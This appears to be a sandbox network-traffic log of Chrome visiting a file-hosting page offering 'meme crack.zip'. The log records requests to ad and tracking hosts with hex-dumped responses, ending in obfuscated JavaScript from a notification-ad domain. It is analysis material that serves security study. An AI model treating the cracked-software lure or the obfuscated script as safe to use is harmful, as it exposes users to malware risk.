2024-06-15 09:14:55 UTC	535	OUT	GET /sync?c=147&r=2&j=criteoCallback HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:55 UTC	317	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 date: Sat, 15 Jun 2024 09:14:54 GMT server: Kestrel cache-control: private, max-age=3600 expires: 60 transfer-encoding: chunked server-processing-duration-in-ticks: 366745 strict-transport-security: max-age=31536000; preload; connection: close
2024-06-15 09:14:55 UTC	60	IN	Data Raw: 33 31 0d 0a 63 72 69 74 65 6f 43 61 6c 6c 62 61 63 6b 28 7b 22 73 74 61 74 75 73 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 75 73 65 72 69 64 22 3a 22 22 7d 29 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 31criteoCallback({"status":"Unknown","userid":""});0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49744	145.239.192.166	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	516	OUT	GET /libJsLP.js HTTP/1.1 Host: tag.leadplace.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:55 UTC	342	IN	HTTP/1.1 200 OK server: nginx/1.20.1 date: Sat, 15 Jun 2024 09:14:55 GMT content-type: application/javascript content-length: 3894 last-modified: Wed, 06 Dec 2023 10:36:31 GMT etag: "65704eaf-f36" accept-ranges: bytes x-iplb-request-id: ADFEFA5A:999B_91EFC0A6:01BB_666D5B8F_650E128F:27B4 x-iplb-instance: 54293 connection: close
2024-06-15 09:14:55 UTC	3894	IN	Data Raw: 76 61 72 20 6c 69 62 4a 73 4c 65 61 64 50 6c 61 63 65 20 3d 20 7b 0a 20 20 5f 61 75 74 68 6f 72 3a 20 22 4c 65 61 64 50 6c 61 63 65 20 44 76 70 74 22 2c 0a 20 20 5f 76 65 72 73 69 6f 6e 3a 20 22 32 2e 30 22 2c 0a 20 20 5f 73 63 72 69 70 74 49 66 72 61 6d 65 3a 20 22 2f 2f 22 20 2b 20 22 74 61 67 2e 6c 65 61 64 70 6c 61 63 65 2e 66 72 22 20 2b 20 22 2f 77 63 6b 72 2e 70 68 70 22 2c 0a 20 20 5f 76 65 6e 64 6f 72 54 65 6d 65 6c 69 6f 49 64 3a 20 32 34 34 2c 0a 20 20 53 65 6e 64 74 6f 4c 50 62 79 49 66 72 61 6d 65 3a 20 66 75 6e 63 74 69 6f 6e 20 28 5f 70 61 72 61 6d 29 20 7b 0a 20 20 20 20 76 61 72 20 5f 69 66 72 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 0a 20 20 20 20 69 66 20 28 21 77 69 6e Data Ascii: var libJsLeadPlace = { _author: "LeadPlace Dvpt", _version: "2.0", _scriptIframe: "//" + "tag.leadplace.fr" + "/wckr.php", _vendorTemelioId: 244, SendtoLPbyIframe: function (_param) { var _ifr = document.createElement("iframe"); if (!win

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49751	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	720	OUT	GET /slake/asset/img/bg/footer-bg.png HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/slake/style.css?ver=6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629; smid=a1uebhcM
2024-06-15 09:14:55 UTC	355	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 08:31:04 GMT Content-Type: image/png Content-Length: 74560 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "5eefbeb2-12340" Age: 89032 DDG-Cache-Status: HIT
2024-06-15 09:14:55 UTC	16029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 03 7a 08 02 00 00 00 e0 86 c3 fd 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 84 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 Data Ascii: PNGIHDRztEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16
2024-06-15 09:14:55 UTC	16384	IN	Data Raw: 41 94 b9 1f d3 58 fa 33 b5 92 af e9 cd 03 1c c7 3c 8d db 32 d0 eb 00 4b e8 f4 87 bf 51 9e cb 00 5f 6a 27 af 03 ac 83 1e e7 b1 ac b5 10 d6 c6 f9 d7 fc d3 cd 00 a7 fc b2 9d c6 3e c0 a9 a6 de fa 91 37 d3 18 db 7e 6b 65 c6 7a e8 b0 0f 7d 17 a5 dc 27 07 a1 6f e6 96 4f a4 de 12 63 7d 06 3f e8 27 d8 6f d1 e9 e5 c7 4f c7 f1 e3 3f 3e 7a fc cb cd 7c 7d 64 0e 5e 32 9b 07 33 df 87 2e 0f 42 b8 7b 06 73 b8 7f c9 c4 35 dd 5c ae 38 1f f7 fd 87 6f 9e eb 00 a7 7c de df 0d 1c 4e 23 00 c0 33 ac 80 06 00 0e e5 a9 24 3f c6 92 69 49 eb 8e 73 25 21 32 8d 25 99 b2 36 f6 24 c9 f8 d2 4e 1b ce d9 72 b0 2c bc ab 19 9a b6 40 31 c5 e1 d1 7a c0 bc 24 a0 5b 22 26 3f 4e 93 95 03 a7 92 4b 9d 52 ee 03 ac 27 4f 2d 5b 94 87 58 b7 e9 eb 17 ac a1 43 df 7c ef 8f 66 5e 5a 27 97 01 96 7d ff 4a 27 Data Ascii: AX3<2KQ_j'>7~kez}'oOc}?'oO?>z\|}d^23.B{s5\8o\|N#3$?iIs%!2%6$Nr,@1z$["&?NKR'O-[XC\|f^Z'}J'
2024-06-15 09:14:55 UTC	16384	IN	Data Raw: 85 d1 b2 f4 d4 87 31 98 85 39 84 e7 24 c3 21 43 ad 96 77 94 64 4e 58 96 31 58 59 5c 65 e9 a3 23 39 5e 92 76 e1 ff 12 b5 44 fa 94 45 3b 33 da 18 ec 58 1e e7 b7 7d 88 0e 36 63 af f5 98 df fa d4 7a 44 dd 58 68 9d 45 63 a7 20 5f 5d 15 9c 9f 1d 0b ea 43 05 dd 09 35 15 ea 68 f6 32 92 15 1c 5c 74 15 08 8f 57 70 a6 7e 7a 2f 23 1b 98 1e 35 68 00 00 00 00 f8 05 81 0e 68 00 00 00 00 78 b1 50 a5 65 17 8a 9e 36 3d 37 8c cb 00 e9 1d 5b 9a b5 6e f9 e8 27 9f 8f d2 cb 6f ce df 9d 9c 6c e6 37 2d 2c 48 b1 49 f6 43 cd 97 eb eb 3d a5 77 6c 16 6e ae 56 16 b8 2a 11 e4 1c c1 c0 05 91 bd d4 a9 37 be 61 61 49 d4 fa 72 1f 58 28 d5 30 2d a6 90 0a 1b 0b 17 aa 3a 96 c8 07 37 c9 b1 51 3c 90 15 0c 9b d7 e3 c5 6c 8d ac 52 93 52 4b cd 4e cf c5 d2 fa 05 2b ed 9a 82 52 c7 f1 81 7c a5 96 8a Data Ascii: 19$!CwdNX1XY\e#9^vDE;3X}6czDXhEc _]C5h2\tWp~z/#5hhxPe6=7[n'ol7-,HIC=wlnV*7aaIrX(0-:7Q<lRRKN+R\|
2024-06-15 09:14:55 UTC	16384	IN	Data Raw: 78 aa eb c4 ec 66 47 2a b3 c3 b9 f9 1c 0c 6d 18 97 4b c3 d8 e6 20 cf 42 9d fe bd 17 7e c2 d1 d8 cd c1 7e a6 5b af fb 45 26 ad 17 19 75 cd 6b c2 d0 41 2a d3 bf 5f 79 b6 eb 5b 5d 13 ba 95 a7 8a 67 18 46 5e b5 a6 2b 8f ba 6e 5e 86 45 66 65 ec 22 48 93 b1 bd 45 13 35 82 ad d7 7b 33 61 b3 b4 02 00 00 00 00 3c 13 ec 80 06 00 00 00 c0 51 34 53 61 29 1b 8a 92 aa 88 44 2e 49 1a 48 db 44 39 f8 4b 53 1a b4 70 a2 ca d9 19 71 92 8b d1 bc 92 a6 57 f4 90 2b ce 16 2f 8e 13 55 72 52 96 d3 ac cd a2 5e 52 70 72 4e 57 71 bd 48 62 28 3b f1 51 32 50 83 6b 6f 27 ad a9 eb b3 6d 77 94 7c 8a 3d 4f fe 47 4e 00 73 f6 90 89 38 d9 94 52 d0 d3 c0 2c 87 a4 37 2c ae a3 5e 5b f2 38 2e fa 80 8a a8 7f 86 9c 3b f1 64 55 c4 92 f1 13 9d 98 44 ab 98 39 ab c8 e7 b9 59 12 d0 bf d9 c4 9c ce c1 d9 Data Ascii: xfGmK B~~[E&ukA_y[]gF^+n^Efe"HE5{3a<Q4Sa)D.IHD9KSpqW+/UrR^RprNWqHb(;Q2Pko'mw\|=OGNs8R,7,^[8.;dUD9Y
2024-06-15 09:14:55 UTC	9379	IN	Data Raw: 45 70 7d 2d 11 ad a2 b5 1b 41 9a 44 70 75 a5 db 73 74 05 3f ef 0b f8 bc 55 6a d4 c9 b0 c8 50 6f 3b a4 93 ba c8 40 14 00 00 00 00 b8 05 ec 80 06 00 00 00 00 b8 19 ef 7d 08 31 69 fd 0c d9 87 5a 8d 52 c5 97 3f 95 e2 ab f9 e3 29 f9 25 f0 7e c3 50 2e cf 0d 23 51 36 c5 62 64 5b a0 7c b9 cb ff 2d 37 e4 cf 2e ca 36 d9 10 cb c6 64 f6 18 ca 07 d7 b9 4e 5e f7 d8 c6 de 35 79 d9 01 1d 3a d7 d9 e8 12 ef 80 f4 a1 74 26 06 49 3f 75 5e c0 cd 92 90 08 9e 78 03 74 1f 17 8e d5 49 c7 d6 76 8c 9a 4e e4 63 d3 09 4b a2 ec 7f 2e c1 ca 37 8c 27 db c3 5e e2 c2 7b 59 79 d3 73 12 f1 f8 e2 3a 47 d0 99 eb 1a fd 68 27 10 86 e2 e5 86 ee 48 5f 44 b7 11 1b 5d 3f 53 90 a1 4d ff 5e 51 22 51 1f cc 28 8b 4c 74 91 06 89 5e 58 f4 74 91 09 50 05 00 00 00 00 6e f9 cd e4 9f 7f ff c3 28 00 00 00 00 Data Ascii: Ep}-ADpust?UjPo;@}1iZR?)%~P.#Q6bd[\|-7.6dN^5y:t&I?u^xtIvNcK.7'^{Yys:Gh'H_D]?SM^Q"Q(Lt^XtPn(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49745	88.208.46.222	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	668	OUT	GET /sm/stat?uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=80&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1 Host: ogffa.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:55 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range Access-Control-Expose-Headers: Content-Length,Content-Range
2024-06-15 09:14:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49746	91.228.74.159	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	519	OUT	GET /quant.js HTTP/1.1 Host: secure.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	295	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:55 GMT Content-Type: application/javascript Content-Length: 23678 Connection: close Accept-Ranges: bytes Cache-Control: private, max-age=604800 Etag: "bvEECQq4Zy6gU9J/qv1O6Q==" Expires: Sat, 22 Jun 2024 09:14:55 GMT Vary: Accept-Encoding
2024-06-15 09:14:56 UTC	16089	IN	Data Raw: 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 38 2d 32 30 32 33 2c 20 51 75 61 6e 74 63 61 73 74 20 43 6f 72 70 2e 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 71 75 61 6e 74 63 61 73 74 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 22 71 63 53 65 73 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 72 28 29 3b 72 65 74 75 72 6e 22 78 78 78 78 78 78 78 78 2d 78 78 78 78 2d 34 78 78 78 2d 79 78 78 78 2d 78 78 78 78 78 78 78 78 78 78 78 78 22 2e 72 65 70 6c 61 63 65 28 2f 5b 78 79 5d 2f 67 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 28 65 2b 31 36 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 25 31 36 7c 30 3b Data Ascii: /* Copyright (c) 2008-2023, Quantcast Corp. https://www.quantcast.com/legal/license /!function(){"use strict";var e="qcSes";function t(){var e=r();return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(t){var n=(e+16Math.random())%16\|0;
2024-06-15 09:14:56 UTC	7589	IN	Data Raw: 5b 65 5d 26 26 28 74 3d 54 65 5b 65 5d 2c 6e 2e 70 75 73 68 28 74 29 2c 64 65 6c 65 74 65 20 54 65 5b 65 5d 29 3b 69 66 28 31 3d 3d 6e 2e 6c 65 6e 67 74 68 26 26 79 28 6e 5b 30 5d 29 2c 6e 2e 6c 65 6e 67 74 68 3e 31 29 66 6f 72 28 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 79 28 6e 5b 65 5d 29 7d 7d 2c 72 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 3d 5b 5d 3b 66 6f 72 28 6e 3d 6a 65 2e 73 6c 69 63 65 28 30 29 2c 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 3d 6e 5b 65 5d 2c 59 28 74 29 7c 7c 72 2e 70 75 73 68 28 74 29 3b 69 66 28 30 3d 3d 3d 72 2e 6c 65 6e 67 74 68 29 6e 65 28 29 3b 65 6c 73 65 20 66 6f 72 28 65 3d 30 3b 65 3c 72 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 3d 72 5b 65 5d 2c 43 65 2e 70 Data Ascii: [e]&&(t=Te[e],n.push(t),delete Te[e]);if(1==n.length&&y(n[0]),n.length>1)for(e=0;e<n.length;e++)y(n[e])}},re=function(){var e,t,n,r=[];for(n=je.slice(0),e=0;e<n.length;e++)t=n[e],Y(t)\|\|r.push(t);if(0===r.length)ne();else for(e=0;e<r.length;e++)t=r[e],Ce.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49747	88.212.201.198	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	688	OUT	GET /hit?t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	625	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.17.9 Date: Sat, 15 Jun 2024 09:14:55 GMT Content-Type: text/html Content-Length: 32 Connection: close Location: https://counter.yadro.ru/hit?q;t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193 Expires: Thu, 15 Jun 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache P3P: policyref="/w3c/p3p.xml", CP="UNI" Set-Cookie: FTID=1cRLkF03JRep1cRLkF0012aS; path=/; expires=Sat, 14 Jun 2025 21:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru Strict-Transport-Security: max-age=86400
2024-06-15 09:14:56 UTC	32	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 4d 6f 76 65 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body>Moved</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49748	99.81.158.184	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	511	OUT	GET /p/12771/px.js HTTP/1.1 Host: p.cpx.to Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	190	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:55 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 4756 Connection: close Cache-Control: public, max-age=2419200
2024-06-15 09:14:56 UTC	4756	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 63 70 78 2e 74 6f 22 2c 75 3d 63 2b 22 2f 73 79 6e 63 22 2c 70 3d 37 36 2c 6c 3d 22 5f 63 69 64 73 22 2c 77 3d 22 78 65 78 70 22 2c 67 3d 22 78 69 64 22 2c 6d 3d 22 74 69 64 22 2c 78 3d 22 74 65 78 70 22 2c 66 3d 32 35 39 32 65 36 2c 5f 3d 32 35 39 32 65 36 3b 66 75 6e 63 74 69 6f 6e 20 49 28 65 2c 74 29 7b 72 65 74 75 72 6e 60 26 64 73 70 3d 24 7b 65 7d 26 64 73 70 5f 75 69 64 3d 60 2b 74 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 2c 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 3f 22 26 72 65 66 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 Data Ascii: (()=>{"use strict";const c="https://s.cpx.to",u=c+"/sync",p=76,l="_cids",w="xexp",g="xid",m="tid",x="texp",f=2592e6,_=2592e6;function I(e,t){return`&dsp=${e}&dsp_uid=`+t}function v(t,e){var n=document.referrer?"&ref="+encodeURIComponent(document.referrer)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49749	52.51.190.15	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	573	OUT	GET /mailNotification.php?st=a96081b6-db78-48c4-9f82-b93e316fb1f7 HTTP/1.1 Host: adtrack.adleadevent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	809	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Cache-Control: post-check=0, pre-check=0 Cache-control: no-cache="set-cookie" Content-Type: application/x-javascript Date: Sat, 15 Jun 2024 09:14:55 GMT Expires: Sat, 26 Jul 1997 05:00:00 GMT Last-Modified: Sat, 15 Jun 2024 09:14:55 GMT Pragma: no-cache Server: Apache Set-Cookie: AWSELB=9FC54D150466C174912E5199B1F8E822A79961F4596BFB1311DF4AD552FFCAECC412B5A4F8D63A2A90D1DB19587375008B81DF393E974B37DE71BA6F26DE79F63E8F5DED51;PATH=/ Set-Cookie: AWSELBCORS=9FC54D150466C174912E5199B1F8E822A79961F4596BFB1311DF4AD552FFCAECC412B5A4F8D63A2A90D1DB19587375008B81DF393E974B37DE71BA6F26DE79F63E8F5DED51;PATH=/;SECURE;SAMESITE=None Vary: Accept-Encoding Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49750	157.90.33.121	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:55 UTC	524	OUT	GET /f/sdk.js?z=651407 HTTP/1.1 Host: system-notify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Sat, 15 Jun 2024 09:14:56 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 53632 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-06-15 09:14:56 UTC	16147	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 63 72 69 70 74 50 61 72 61 6d 73 29 20 7b 76 61 72 20 61 32 5f 30 78 36 38 30 66 3d 5b 22 7a 78 7a 4c 42 4e 72 76 75 4b 57 3d 22 2c 22 79 78 6a 4a 41 67 4c 30 7a 77 6e 30 44 78 6a 4c 22 2c 22 43 4d 66 55 7a 67 39 54 22 2c 22 6c 63 62 4f 44 68 72 57 6f 49 61 3d 22 2c 22 7a 32 76 30 73 77 35 5a 44 67 66 53 42 65 6e 56 42 4e 72 4c 45 68 71 3d 22 2c 22 30 6a 2f 71 56 54 63 36 30 6c 64 71 54 59 64 72 47 39 63 59 30 6c 78 71 54 6e 63 2b 30 6c 5a 71 55 39 63 31 30 6c 33 71 55 6e 63 35 22 2c 22 41 77 35 55 7a 78 6a 69 76 65 31 6d 22 2c 22 42 33 62 4c 42 4c 72 59 79 77 6e 52 72 65 69 3d 22 2c 22 7a 67 76 4d 79 78 76 53 44 61 3d 3d 22 2c 22 79 32 66 4a 41 67 75 3d 22 2c 22 43 4d 76 30 44 78 6a 55 22 2c 22 43 32 48 56 44 77 58 4b 75 Data Ascii: (function(scriptParams) {var a2_0x680f=["zxzLBNrvuKW=","yxjJAgL0zwn0DxjL","CMfUzg9T","lcbODhrWoIa=","z2v0sw5ZDgfSBenVBNrLEhq=","0j/qVTc60ldqTYdrG9cY0lxqTnc+0lZqU9c10l3qUnc5","Aw5Uzxjive1m","B3bLBLrYywnRrei=","zgvMyxvSDa==","y2fJAgu=","CMv0DxjU","C2HVDwXKu
2024-06-15 09:14:56 UTC	16384	IN	Data Raw: 65 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 74 72 79 7b 75 28 69 5b 72 28 22 30 78 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 6e 5b 72 28 22 30 78 62 65 22 29 5d 3f 78 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 3a 74 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 5b 72 28 22 30 78 35 65 22 29 5d 28 63 2c 6f 29 7d 75 28 28 69 3d 69 5b 65 28 22 30 78 61 62 22 29 5d 28 6e 2c 72 7c 7c 5b 5d 29 29 5b 65 28 22 30 78 38 65 22 29 5d 28 29 29 7d 29 29 7d 2c 63 3d 74 68 69 73 26 26 74 68 69 73 5b 74 28 22 30 78 31 38 22 29 5d 7c 7c 66 Data Ascii: e")](n))}catch(n){a(n)}}function o(n){var 